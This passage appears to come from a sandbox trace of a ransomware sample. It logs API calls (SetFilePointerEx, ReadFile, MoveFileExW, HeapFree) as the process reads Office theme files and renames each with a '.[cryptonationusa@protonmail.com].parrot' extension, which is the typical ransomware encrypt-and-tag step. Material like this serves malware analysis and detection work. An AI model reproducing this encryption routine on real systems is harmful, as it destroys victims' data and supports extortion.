hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.169] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.169] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68c818 | out: hHeap=0x5b0000) returned 1 [0122.169] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.169] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0122.171] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.171] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.173] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.173] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb20, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb20, lpOverlapped=0x0) returned 1 [0122.173] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.173] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.174] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x692268 | out: hHeap=0x5b0000) returned 1 [0122.174] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.174] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0122.178] GetFileSize (in: hFile=0x260, lpFileSizeHigh=0x18ec60 | out: lpFileSizeHigh=0x18ec60*=0x0) returned 0x8864 [0122.178] LockFile (hFile=0x260, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x897c, nNumberOfBytesToLockHigh=0x0) returned 1 [0122.178] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.178] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.187] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.187] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8864, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8864, lpOverlapped=0x0) returned 1 [0122.193] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.194] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.195] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x692268 | out: hHeap=0x5b0000) returned 1 [0122.195] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.195] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0122.396] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.396] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.399] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.399] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10db7, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x10db7, lpOverlapped=0x0) returned 1 [0122.428] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.429] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.431] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x692458 | out: hHeap=0x5b0000) returned 1 [0122.431] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.431] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2220088 | out: hHeap=0x5b0000) returned 1 [0122.435] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.436] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.436] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.437] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x216, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x216, lpOverlapped=0x0) returned 1 [0122.437] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.437] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.438] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x692458 | out: hHeap=0x5b0000) returned 1 [0122.438] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.438] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0122.440] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.440] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.462] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.462] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x885, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x885, lpOverlapped=0x0) returned 1 [0122.462] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.462] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.463] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x692458 | out: hHeap=0x5b0000) returned 1 [0122.463] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.463] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0122.465] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.465] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.466] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.466] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5093, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5093, lpOverlapped=0x0) returned 1 [0122.469] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.469] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.470] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x692458 | out: hHeap=0x5b0000) returned 1 [0122.470] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.470] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6532a0 | out: hHeap=0x5b0000) returned 1 [0122.472] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.472] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.476] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.476] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc2ba, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xc2ba, lpOverlapped=0x0) returned 1 [0122.479] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.479] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.480] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x692838 | out: hHeap=0x5b0000) returned 1 [0122.480] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.480] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0122.483] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.483] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.484] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.484] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x227, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x227, lpOverlapped=0x0) returned 1 [0122.484] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.485] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.485] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x692838 | out: hHeap=0x5b0000) returned 1 [0122.485] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.485] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0122.487] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.487] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.488] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.488] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x618, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x618, lpOverlapped=0x0) returned 1 [0122.489] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.489] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.489] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x692838 | out: hHeap=0x5b0000) returned 1 [0122.489] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.489] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0122.491] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.491] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.501] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.501] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x80f1, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x80f1, lpOverlapped=0x0) returned 1 [0122.505] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.506] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.507] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x692838 | out: hHeap=0x5b0000) returned 1 [0122.507] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.507] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0122.540] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.540] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.543] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.544] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xda86, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xda86, lpOverlapped=0x0) returned 1 [0122.552] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.553] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.554] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x692c18 | out: hHeap=0x5b0000) returned 1 [0122.554] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.554] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0122.558] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.558] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.559] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.559] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x225, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x225, lpOverlapped=0x0) returned 1 [0122.559] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.559] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.560] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x692c18 | out: hHeap=0x5b0000) returned 1 [0122.560] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.560] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0122.562] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.562] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.564] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.564] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x785, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x785, lpOverlapped=0x0) returned 1 [0122.564] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.564] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x692c18 | out: hHeap=0x5b0000) returned 1 [0122.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0122.567] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.567] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.570] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.570] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6b0f, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x6b0f, lpOverlapped=0x0) returned 1 [0122.573] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.573] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft 